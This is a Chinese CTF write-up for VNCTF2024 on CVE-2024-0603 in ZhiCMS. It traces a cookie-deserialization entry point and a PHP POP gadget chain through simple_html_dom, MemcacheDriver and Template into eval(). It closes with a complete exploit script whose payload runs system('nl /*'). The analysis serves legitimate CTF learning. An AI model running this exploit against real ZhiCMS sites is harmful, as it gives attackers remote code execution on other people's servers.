[VNCTF2024]Zhi CVE-2024-0603

服了,直接要我们找赵总挖的0day。

入口查找

不过还是有些公开信息的:例如在这里的反序列化点位在`通过公开的信息可以发现漏洞入口位于app/plug/controller/giftcontroller.php 这里。

[giftcontroller.php]

这里直接把cookie反序列化了,就很危险。

pop链搭建

在全局搜索eval()高危函数时发现了关键点:

[Template.php]

PHP
<?php
namespace ZhiCms\base;
class Template {
    protected $config =array();
    protected $label = null;
    protected $vars = array();
    //...
public function compile( $tpl, $isTpl = true ) {
        if( $isTpl ){
            $tplFile = $this->config['TPL_PATH'] . $tpl . $this->config['TPL_SUFFIX'];
            if ( !file_exists($tplFile) ) {
                throw new \Exception("Template file '{$tplFile}' not found", 500);
            }
            $tplKey = md5(realpath($tplFile));             
        } else {
            $tplKey = md5($tpl);
        }

public function display($tpl = '', $return = false, $isTpl = true ) {
        if( $return ){
            if ( ob_get_level() ){
                ob_end_flush();
                flush();
            }
            ob_start();
        }
       
        extract($this->vars, EXTR_OVERWRITE);
        eval('?>' . $this->compile( $tpl, $isTpl));
       
        if( $return ){
            $content = ob_get_contents();
            ob_end_clean();
            return $content;
        }
    }  

很明显,这里的eval函数就是我们要控制传参的函数,但是这里的输入$tpl$istpl 已经固定了。这咋办呢?前面的黄色代码存在变量覆盖漏洞,也就是我们可以利用可控制的参数$vars 来实现改任意变量

这样就能实现rce了,但这只是第一步。

Template::display() -> Template::compile()

向上找找能不能搭建到__destruct()函数上

在simple_html_dom.php找到了突破点:

[simple_html_dom.php]

PHP
class simple_html_dom
{
    public $root = null;
    public $nodes = array();
    public $callback = null;
    public $lowercase = false;
    // Used to keep track of how large the text was when we started.
    public $original_size;
    public $size;
    protected $pos;
    protected $doc;
    protected $char;
    protected $cursor;
    protected $parent;
    protected $noise = array();
    protected $token_blank = " \t\r\n";
    protected $token_equal = ' =/>';
    protected $token_slash = " />\r\n\t";
    protected $token_attr = ' >';
    // Note that this is referenced by a child node, and so it needs to be public for that node to see this information.
    public $_charset = '';
    public $_target_charset = '';
    protected $default_br_text = "";
    public $default_span_text = "";

    // use isset instead of in_array, performance boost about 30%...
    protected $self_closing_tags = array('img'=>1, 'br'=>1, 'input'=>1, 'meta'=>1, 'link'=>1, 'hr'=>1, 'base'=>1, 'embed'=>1, 'spacer'=>1);
    protected $block_tags = array('root'=>1, 'body'=>1, 'form'=>1, 'div'=>1, 'span'=>1, 'table'=>1);
    // Known sourceforge issue #2977341
    // B tags that are not closed cause us to return everything to the end of the document.
    protected $optional_closing_tags = array(
        'tr'=>array('tr'=>1, 'td'=>1, 'th'=>1),
        'th'=>array('th'=>1),
        'td'=>array('td'=>1),
        'li'=>array('li'=>1),
        'dt'=>array('dt'=>1, 'dd'=>1),
        'dd'=>array('dd'=>1, 'dt'=>1),
        'dl'=>array('dd'=>1, 'dt'=>1),
        'p'=>array('p'=>1),
        'nobr'=>array('nobr'=>1),
        'b'=>array('b'=>1),
        'option'=>array('option'=>1),
    );

    function __construct($str=null, $lowercase=true, $forceTagsClosed=true, $target_charset=DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT)
    {
        if ($str)
        {
            if (preg_match("/^http:\/\//i",$str) || is_file($str))
            {
                $this->load_file($str);
            }
            else
            {
                $this->load($str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText);
            }
        }
        // Forcing tags to be closed implies that we don't trust the html, but it can lead to parsing errors if we SHOULD trust the html.
        if (!$forceTagsClosed) {
            $this->optional_closing_array=array();
        }
        $this->_target_charset = $target_charset;
    }

    function __destruct()
    {
        $this->clear();
    }

跟进simple_html_dom->clear()函数:

PHP
<?php
class simple_html_dom
{
    public $nodetype = HDOM_TYPE_TEXT;
    public $tag = 'text';
    public $attr = array();
    public $children = array();
    public $nodes = array();
    public $parent = null;
    // The "info" array - see HDOM_INFO_... for what each element contains.
    public $_ = array();
    public $tag_start = 0;
    private $dom = null;
    function clear()
    {
        foreach ($this->nodes as $n) {$n->clear(); $n = null;}
        // This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear.
        if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;}
        if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);}
        if (isset($this->root)) {$this->root->clear(); unset($this->root);}
        unset($this->doc);
        unset($this->noise);
    }

发现这里的public $parent = null;这里是可以控制的,并且会调用$parent的clear()方法,我们接着找找还有没有其他的类中的clear()方法能不能用。链子:simple_html_dom::__destruct() -> simple_html_dom::clear()

接下来我们找到了另一个利用点:

PHP
class simple_html_dom_node
{
    public $nodetype = HDOM_TYPE_TEXT;
    public $tag = 'text';
    public $attr = array();
    public $children = array();
    public $nodes = array();
    public $parent = null;
    // The "info" array - see HDOM_INFO_... for what each element contains.
    public $_ = array();
    public $tag_start = 0;
    private $dom = null;

    function __construct($dom)
    {
        $this->dom = $dom;
        $dom->nodes[] = $this;
    }

    function __destruct()
    {
        $this->clear();
    }

    function __toString()
    {
        return $this->outertext();
    }
    function outertext()
    {
        global $debugObject;
        if (is_object($debugObject))
        {
            $text = '';
            if ($this->tag == 'text')
            {
                if (!empty($this->text))
                {
                    $text = " with text: " . $this->text;
                }
            }
            $debugObject->debugLog(1, 'Innertext of tag: ' . $this->tag . $text);
        }

        if ($this->tag==='root') return $this->innertext();

        // trigger callback
        if ($this->dom && $this->dom->callback!==null)
        {
            call_user_func_array($this->dom->callback, array($this));
        }

        if (isset($this->_[HDOM_INFO_OUTER])) return $this->_[HDOM_INFO_OUTER];
        if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]);

        // render begin tag
        if ($this->dom && $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]])
        {
            $ret = $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]->makeup();
        } else {
            $ret = "";
        }

        // render inner text
        if (isset($this->_[HDOM_INFO_INNER]))
        {
            // If it's a br tag...  don't return the HDOM_INNER_INFO that we may or may not have added.
            if ($this->tag != "br")
            {
                $ret .= $this->_[HDOM_INFO_INNER];
            }
        } else {
            if ($this->nodes)
            {
                foreach ($this->nodes as $n)
                {
                    $ret .= $this->convert_text($n->outertext());
                }
            }
        }

如图要我们到达这个call_user_func_array函数就能触发之前也就是这里的display函数,从而触发eval()函数

所以目前为止的链子在这样:

PHP
simple_html_dom::__destruct() -> simple_html_dom::clear()
simple_html_dom_node::__toString() ->simple_html_dom_node::outertext() -> Template::display() -> Template::compile()

接下来我们就要找能够触发tostring的函数,结合之前这里parent类可控,我们只要找一个类中的clear方法里面的我们找到了MemcacheDriver.php

PHP

<?php
namespace ZhiCms\base\cache;
class MemcacheDriver implements CacheInterface{
    protected $mmc = NULL;
    protected $group = '';
    protected $ver = 0;
   
    public function __construct( $config = array() ) {
        $this->mmc = new Memcache;
       
        if( empty($config) ) {
            $config['MEM_SERVER'] = array(array('127.0.0.1', 11211));
            $config['GROUP'] = '';
        }
       
        foreach($config['MEM_SERVER'] as $v) {
            call_user_func_array(array($this->mmc, 'addServer'), $v);
        }
       
        if( isset($config['GROUP']) ){
            $this->group = $config['GROUP'];
        }
        $this->ver = intval( $this->mmc->get($this->group.'_ver') );
    }

    public function get($key) {
        return $this->mmc->get($this->group.'_'.$this->ver.'_'.$key);
    }
   
    public function set($key, $value, $expire = 1800) {
        return $this->mmc->set($this->group.'_'.$this->ver.'_'.$key, $value, 0, $expire);
    }
   
    public function inc($key, $value = 1) {
         return $this->mmc->increment($this->group.'_'.$this->ver.'_'.$key, $value);
    }
   
    public function des($key, $value = 1) {
         return $this->mmc->decrement($this->group.'_'.$this->ver.'_'.$key, $value);
    }
   
    public function del($key) {
        return $this->mmc->delete($this->group.'_'.$this->ver.'_'.$key);
    }
   
    public function clear() {
        return  $this->mmc->set($this->group.'_ver', $this->ver+1);
    }  
}

这个地方存在字符拼接可以触发__tostring(),自此链子齐全了:

PHP
simple_html_dom::__destruct() -> simple_html_dom::clear() -> MemcacheDriver::clear() ->simple_html_dom_node::__toString() ->simple_html_dom_node::outertext() -> Template::display() -> Template::compile()

漏洞利用:

exp:

PHP
<?php
namespace ZhiCms\base;
class Cache{
    protected $config =array();
    protected $cache = 'default';
    public $proxyObj=null;
    public $proxyExpire=1800;
    public function __construct(){
        $this->config = array("CACHE_TYPE"=>"FileCache","MEM_GROUP"=>"tpl");
    }
}
class Template {
    protected $config =array();
    protected $label = null;
    protected $vars = array();
    protected $cache = null;

    public function __construct(){
        $this->cache = new Cache;
        $this->vars=array("tpl"=>"<?php system('nl /*');?>","isTpl"=>false);
    }
}

namespace ZhiCms\base\cache;
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\base\Cache;
class MemcacheDriver
{
    protected $mmc = NULL;
    protected $group = '';
    protected $ver = 0;
    public function __construct(){
        $this->mmc = new Cache();
        $this->group = new simple_html_dom_node;
    }
}

namespace ZhiCms\ext;
use ZhiCms\base\cache\MemcacheDriver;
use ZhiCms\base\Template;
use zhicms\base\Cache;
class simple_html_dom
{
    protected $parent;
    public $callback = null;
    public function __construct($obj){
        $this->parent = $obj;
    }
}
class simple_html_dom_node
{
    private $dom = null;
    public function __construct(){
        $dom = new simple_html_dom("");
        $dom->callback=array(new Template(), "display");
        $this->dom = $dom;

    }
}

$step = new MemcacheDriver;
$exp = new simple_html_dom($step);
echo urlencode(serialize($exp));

参考文献:https://xz.aliyun.com/t/13730?time__1311=mqmxnQKCw40D9DBLPx2Afmfg%3DDcAxQuGD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-6

  • 9
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值